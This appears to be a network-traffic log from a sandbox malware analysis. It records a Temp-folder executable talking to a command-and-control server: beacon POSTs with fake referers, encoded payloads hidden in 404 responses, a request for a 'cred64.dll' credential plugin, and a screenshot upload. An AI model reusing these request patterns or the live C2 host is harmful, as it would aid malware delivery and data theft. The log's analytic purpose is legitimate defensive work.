Apr 10, 2024 10:24:06.845154047 CEST	1289	IN	Data Raw: bf 01 a1 57 a7 90 9c df e9 6e 8f f1 ba 4a a6 1e 84 ed 88 cd 3c 23 8c 33 c6 5f f6 3d 9d 3a 7c d4 37 b1 57 22 20 f4 b3 69 a0 53 e6 ac 12 b7 13 64 31 8b 1c 10 20 7e 3d d1 fd 78 2c c1 8a a9 1e 97 af b9 0a 01 ad ad e5 e2 be 12 02 61 1a 01 d9 22 25 f9 Data Ascii: WnJ<#3_=:\|7W" iSd1 ~=x,a"%{8Nn<X&KfSSv80rW"B*Ig5ZY.tanV'RE_^ > v$1nlcd}wB6>!d+ D@tXP{W(%M
Apr 10, 2024 10:24:06.845168114 CEST	1289	IN	Data Raw: 10 86 40 d8 f8 ea e2 23 54 7d 91 52 7b 44 a2 b1 12 a6 54 ab 62 1c 31 f5 56 78 c1 6d c0 51 db ba 90 c9 19 bf 11 e8 bb f7 8d ce e2 10 62 76 50 e7 7c 4e f7 d7 fc 12 2a d2 6c 00 e1 d4 2e b0 0e f5 d3 ef c0 f3 13 42 52 79 d7 89 75 73 18 03 a8 53 13 37 Data Ascii: @#T}R{DTb1VxmQbvP\|N*l.BRyusS7"=$f`_bGn}a\H>'!wGIn_3'JsC4Cf'\|OPXx2P6F9V2kmz7Nr;
Apr 10, 2024 10:24:06.845207930 CEST	1289	IN	Data Raw: 0a 98 ea f3 f0 35 07 2c 6b 1d 98 15 db 4f 0a 04 40 09 56 65 c3 c9 66 41 bf 24 ab 51 14 38 bd 59 5a 0a a3 15 95 4b 9e 67 7b a2 07 81 4d e0 b8 59 92 dc 4f a8 f8 0b f1 56 61 03 d7 c1 74 ff 6d 35 40 e9 16 1d 99 2a 32 15 7e 80 bc 0b f9 15 78 43 a9 f0 Data Ascii: 5,kO@VefA$Q8YZKg{MYOVatm5@*2~xCJT+\<`xx+RIMG0JHW@b\NhYQoGC"&89PTAydm.,kKsiE?1mQZ\|Q4(Lx5g\'HKlX? Ab7N
Apr 10, 2024 10:24:06.845221043 CEST	1289	IN	Data Raw: b8 73 8e 2f df 2a 57 d4 18 67 7a 3b 57 e0 9a 1d fe a5 96 05 84 2d 46 f9 ff f7 36 62 3d 51 d5 e2 f3 c7 62 1a 7e f9 3f 89 e5 80 1a 6d ed 90 ed af 3b e1 75 f2 6b b2 1a 92 d6 f8 c0 44 f9 a6 52 32 15 4c 5c 77 d5 bc e9 bc 1f 0d de f0 af 00 e6 77 fe e2 Data Ascii: s/Wgz;W-F6b=Qb~?m;ukDR2L\wwSTIK81^l\|[=H0vg@3HCW+r;q`l!K!I"Y(R$@6nMIC~jn4Cu7'W&za1Wqx\|tSf 1>~-{
Apr 10, 2024 10:24:06.845232964 CEST	1289	IN	Data Raw: 5a d8 6b 12 4c 3c e0 d5 5a 77 c2 17 c4 ad 38 1b 6f 58 92 32 d2 81 ae 68 42 c8 ce f1 f9 2f fd de 92 93 3f e5 ae 09 10 be 47 8b 26 44 c0 f2 9d ba c2 0e ab 58 cf 68 90 ae 57 53 01 a8 10 97 3c cf 8f 25 4a be 16 8b 94 91 ff b8 b7 aa 0f 39 b1 cd 7e 47 Data Ascii: ZkL<Zw8oX2hB/?G&DXhWS<%J9~GhokOdCV<:PD"\|A/IvHJ _$3(L{}1<<GMGcK@YaZHeuf?D}^o!L$Kb8n3^
Apr 10, 2024 10:24:06.845244884 CEST	1289	IN	Data Raw: 98 c3 4f 6a 09 19 0d e2 d3 d8 ed 5b 2f 6f 82 84 a7 1b 1b 07 3a 7c e2 44 18 b9 8d a1 22 5a 2a 09 73 1e 89 3b f2 c9 4d a1 05 14 ba 3c b4 a8 04 cd f2 f7 95 f2 53 aa f6 70 21 1d cc 91 75 83 04 d3 f9 c8 f0 09 57 71 63 0d b0 17 23 9e ee fa ac 84 56 9a Data Ascii: Oj[/o:\|D"Z*s;M<Sp!uWqc#V+A$)"'<"\u%H=I]He/nKrM ?\w.fp&bg@JR{;m2"usI-3OW.^N@3VmqDg
Apr 10, 2024 10:24:06.845256090 CEST	1289	IN	Data Raw: a3 98 c6 91 45 e5 db e1 ea 04 57 9a ef 7e b1 e9 2f 60 51 c6 63 52 0b e1 3c ea f5 61 4f ad 97 33 63 dc 28 e5 15 b2 7a 9a ac 42 17 1b 0d ee 6b 11 10 34 12 0a 6c 07 19 33 66 ad 82 c3 31 c0 a2 1a f3 3c 67 1d 03 86 7e f7 af 7c e8 66 7d 77 15 46 fa dc Data Ascii: EW~/`QcR<aO3c(zBk4l3f1<g~\|f}wFcFlk@.WZ[{Sxa<5PN7`p{K}Ps`O+FUxX{u}.f~#`
Apr 10, 2024 10:24:06.845268011 CEST	1289	IN	Data Raw: d3 b1 21 9e c2 dc c8 2b 6b 4c f0 04 35 fd ce 0a 20 a9 0a d4 4d b9 ff fb d2 a9 00 fd e9 06 fa a6 30 e8 ae cf 22 99 15 ee 2a 93 38 6b 9b df 55 ec db 2d c5 5c e5 f2 a8 97 f0 32 42 45 c7 26 cc 23 c2 11 4c cb 3b 0a 61 8e 2c 35 9b d2 0c b6 65 9b f7 8a Data Ascii: !+kL5 M0"8kU-\2BE&#L;a,5ew^vj^SQ)+m._<3d(p8v#Fn0Q>q0H~~R&n>/HhNwghF>fR'-Qch<@AnuF0;DNP
Apr 10, 2024 10:24:07.837028980 CEST	265	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yjipbis.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 122 Host: atillapro.com
Apr 10, 2024 10:24:08.044709921 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:07 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 37 37 63 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 76 00 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 73 1e 5d fe 67 2c 64 e3 ea f3 cd 1e 9e 56 b8 42 12 cb e5 a1 62 14 ec 15 ef 33 63 6d 71 78 53 9e 7b 2e 70 e0 83 4c c1 5f 4a 2b 10 33 2a fe 87 07 5f a0 52 82 77 36 b0 f7 30 5c 24 b9 fc 82 06 d4 00 d6 6a d9 fe f3 72 a8 4c 4c 1a d9 e3 5a 49 df 42 04 9c f6 c4 82 1d 2f dc 6e a9 57 9e 17 e5 c7 08 0e b2 bb 8c ab 86 a8 5f bb 84 f7 ac 51 64 e4 12 56 53 37 bd 7b ab fa 8a 59 38 89 f8 7e e5 7e e3 ec f1 91 23 35 f5 8e 57 94 d8 b0 04 82 ae f2 d6 a2 2c d7 cc eb b1 79 07 39 3e 79 e3 98 65 af 89 ff 40 ba 88 d9 c6 8a 6a 27 39 68 09 2b 84 4c 75 96 c5 dc c6 4f 3c 3d 6c a6 9e d8 9d 57 db 8d 9e ad 11 8b 8b 55 b5 24 84 c7 d0 95 6c 36 7a d7 28 ac 48 09 0c 8a b4 e0 54 66 14 b0 a4 c4 ac 46 a5 82 05 94 ed 41 c3 8f b1 24 41 7c d7 6a f2 95 5d 56 11 9e 61 8c bc d4 cd 02 09 de 44 b5 59 38 d8 25 d2 3d 50 18 2c c1 38 17 c3 6e 4b 02 bc 52 6d 24 35 f5 4f 48 4d ac 43 20 e7 49 e8 41 0b 57 ab 3c 4e e6 cf a7 29 6d 73 02 64 86 b5 bd 34 f3 74 17 40 3b 9c c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 8f 82 8e 9b c7 75 77 c4 7d 27 dd 77 d4 e3 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 89 80 b3 9b cd 5e 26 40 df d6 59 ed 5c c9 8b 7d 1f bd 35 dd 5c d0 32 fe 5d 3b 37 f0 89 3f eb 0c c0 73 fd a0 7c bc 94 79 f9 e8 6e eb a5 ba bf fe aa 2e 47 1f 85 f9 b7 92 e3 08 3d ee fa 49 ef d4 ad 12 6a 19 f9 37 34 59 94 14 eb b5 34 26 e4 70 ea 54 d7 c0 86 cd b3 b6 1c 6b c8 16 e6 07 0e d5 b1 ec b1 62 a2 c4 be c9 43 79 b1 cb 41 be b4 71 a5 26 dd 56 9f 5c 45 fa 6f d2 51 86 3a d2 1b be dd 7c 8b e0 3f 8d b4 5f fd 21 87 ff cb 91 cb e7 ea db 21 55 85 9d 4f 33 8a a7 b7 94 28 9a 9a b7 41 f7 a8 0c dc 5e 5c fd 9a 78 75 87 d0 da 0a b7 1f 43 5a 04 fd db 4b 34 c7 28 e6 37 62 d2 20 15 de 0b 3e d1 f3 e9 55 32 7b 1f 2e cc 8b 0e 5e c5 2f 72 c0 7c bb 4b 47 c2 b1 9f 22 ca f2 54 22 00 66 53 68 a0 ed 4e 0e 3b 40 30 16 2a 61 7c 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 fb d4 d5 1c e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5 8b ed 35 32 75 07 46 ff 66 72 67 b3 ca 95 0f f8 04 fe 1c ef b8 79 a3 1b c7 24 88 e2 00 cc f3 ac e6 a9 ea a7 7d 63 04 88 62 99 73 6f 38 10 1f 69 ee 7c a7 30 d0 32 e9 80 86 86 dc a7 be bd 0a 91 52 10 e1 4b 73 59 32 29 58 43 81 00 d4 f4 0b 44 99 b4 d7 1e 43 ff 7e 85 b2 4a 96 88 72 d0 7f 0b 6a 8c 1d 1a 6d 14 24 cb 88 14 4e f5 62 56 0c 38 b4 80 4f ca 1e 60 8f e4 5a d6 d8 0b 8b 1a f7 a2 26 63 f1 50 42 64 9f 89 c6 e9 c1 74 94 b6 81 1d da c0 Data Ascii: 77c02u+6\am!iI5iM!I#6@j1R^v="d\fV;lA]ERSGzi"z-KVOQpy8ys]g,dVBb3cmqxS{.pL_J+3_Rw60\$jrLLZIB/nW_QdVS7{Y8~~#5W,y9>ye@j'9h+LuO<=lWU$l6z(HTfFA$A\|j]VaDY8%=P,8nKRm$5OHMC IAW<N)msd4t@;@l\hi.uw}'wY)<y^&@Y\}5\2];7?s\|yn.G=Ij74Y4&pTkbCyAq&V\EoQ:\|?_!!UO3(A^\xuCZK4(7b >U2{.^/r\|KG"T"fShN;@0a\|s^8IflGNr>l\?#~GT+.~=YVwD,SDBrA=%bQ=gVIRk_EmJtjsC["+[c.uh 'AMqgZopPVB$XM2@b52uFfrgy$}cbso8i\|02RKsY2)XCDC~Jrjm$NbV8O`Z&cPBdt
Apr 10, 2024 10:24:08.305121899 CEST	267	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fvnqnoupu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: atillapro.com
Apr 10, 2024 10:24:08.526527882 CEST	612	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 401 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Apr 10, 2024 10:24:08.573780060 CEST	267	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ffekcgjxa.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 238 Host: atillapro.com
Apr 10, 2024 10:24:08.782263994 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:08 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 36 64 32 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 86 01 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 66 cf dc f6 72 fd e5 eb ff 22 4c 16 8b 87 39 4a 33 6d 63 a8 7b c5 6d 1d 22 96 e9 64 fb a9 d2 96 5a 88 ff e9 8e 9d 40 57 49 98 c8 3a 20 2f 06 0f 9f 1c d1 8b fc e7 31 ff d7 26 cd b0 9e 53 87 dc 4e 6f ea d0 f8 22 f3 a0 7e 5b e6 d1 27 8b c8 d7 eb 7d 6c ff d1 53 9c 27 26 4c a5 b4 8a c6 64 cf a0 45 20 31 be 8e 16 23 0d d2 e7 9f 9f 74 f4 6f 12 56 53 37 bd 7b ab fa da 1c 38 89 b4 7f e3 7e bd 97 ae f5 23 35 f5 8e 07 d1 d8 b0 a8 83 a9 f3 93 42 6b b2 cc b1 b3 79 07 27 3b 79 03 98 66 ae d0 99 4c a2 88 e3 c3 8a 6a ef 3a 68 09 2b c4 4c 2e 95 c7 dc c6 5d 3c 3d 68 e6 9b d8 9d 57 9b 8d 9a bd 11 8b 8b 57 b5 24 82 77 d8 95 6c 32 7a d7 2e ac 48 09 0e 8a b4 e0 54 76 03 b0 a4 d0 ac 46 a5 82 15 94 ef 51 83 0e b1 24 51 7c c7 7a f2 95 5d 56 01 9e 61 9c bc d4 31 70 01 de f4 b5 59 38 d8 b5 da 3d 50 1c 2c c1 54 5c c5 6e ff 02 bc 52 6d 94 33 f5 af 49 4d ac 43 80 ef 49 78 43 0b 57 ab 3c 4e e6 cf a7 29 6d 73 c2 62 86 bd f2 34 f3 54 c2 45 3b a4 c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 73 57 8b 9b df 75 77 c4 25 82 db 77 a8 e1 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 c9 85 b3 93 ce 5e 26 40 df d6 59 ed 5c c9 8b 53 6b d8 4d a9 5c d0 32 12 05 39 37 f0 99 3f eb 22 ee 14 85 d4 78 bc 94 b3 d1 ed 6e eb b5 ba bf fe 80 2b 47 3f 81 f9 d7 bc 97 6d 45 9a 98 3a 9c d4 ad 13 6a 39 89 35 54 77 e6 70 8a c1 55 26 e4 8e f6 55 d7 c0 c6 c8 b3 b6 02 6a c8 96 c8 02 ee fb c3 88 d0 16 c3 c4 be 81 4e 7c b1 8b 31 bd f4 5f cf 42 a9 37 c1 5e 45 0e 29 d2 51 86 5a d4 1b be e9 7c 8b a0 73 8b f4 71 99 40 f3 9e cb 91 cb a3 ea db 21 15 05 95 8f 1d fa d4 c5 f7 44 9d 9a 57 40 f7 a8 0c 6c 58 5c fd 98 78 75 c7 50 dc ca 99 6d 30 28 67 fd db 4b 34 c3 28 e6 77 f2 da 60 3b a8 6e 52 be fe ee 55 3a 34 1f 2e cc 4b 08 5e c5 7f 72 c0 3c 39 4d 07 ec c3 fa 4e a5 91 54 22 dc 6e 53 68 e0 4d 46 4c 3b 4a 30 16 2a 13 7b 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 bb d4 d5 5e e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5 8b ed 35 32 75 07 46 ff 66 72 67 b3 ca 95 0f f8 04 fe 1c ef b8 79 a3 1b c7 24 88 e2 00 cc f3 ac e6 a9 ea a7 7d 63 04 88 62 99 73 6f 38 10 1f 69 ee 7c a7 30 d0 32 e9 80 86 86 dc a7 be bd 0a 91 52 10 e1 4b 73 59 32 29 58 43 81 00 d4 f4 0b 44 99 b4 d7 1e 43 ff 7e 85 b2 4a 96 88 72 d0 7f 0b 6a 8c 1d 1a 6d 14 24 cb 88 14 4e f5 5c fd 79 59 bc ed 02 be 20 0a c2 4d 9e e5 01 4f 93 99 f7 b7 d9 9e da 20 03 64 43 8a 7e 02 86 f4 da 86 60 e5 14 0e Data Ascii: 6d202u+6\am!iI5iM!I#6@j1R^="d\fV;lA]ERSGzi"z-KVOQpy8yfr"L9J3mc{m"dZ@WI: /1&SNo"~['}lS'&LdE 1#toVS7{8~#5Bky';yfLj:h+L.]<=hWW$wl2z.HTvFQ$Q\|z]Va1pY8=P,T\nRm3IMCIxCW<N)msb4TE;@l\hi.sWuw%wY)<y^&@Y\SkM\297?"xn+G?mE:j95TwpU&UjN\|1_B7^E)QZ\|sq@!DW@lX\xuPm0(gK4(w`;nRU:4.K^r<9MNT"nShMFL;J0*{s^8^IflGNr>l\?#~GT+.~=YVwD,SDBrA=%bQ=gVIRk_EmJtjsC["+[c.uh 'AMqgZopPVB$XM2@b52uFfrgy$}cbso8i\|02RKsY2)XCDC~Jrjm$N\yY MO dC~`
Apr 10, 2024 10:24:08.975290060 CEST	264	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://flaflc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: atillapro.com
Apr 10, 2024 10:24:09.183221102 CEST	612	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 401 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:11.052202940 CEST	68	OUT	GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1 Host: atillapro.com
Apr 10, 2024 10:24:11.238476992 CEST	436	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 275 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Apr 10, 2024 10:24:11.259433985 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:11.259464025 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:11.259574890 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:11.259574890 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:11.259641886 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:11.259641886 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:11.259723902 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:11.259723902 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:11.259756088 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:11.259840012 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:11.259840012 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:12.772842884 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:11.052212000 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:11.238884926 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
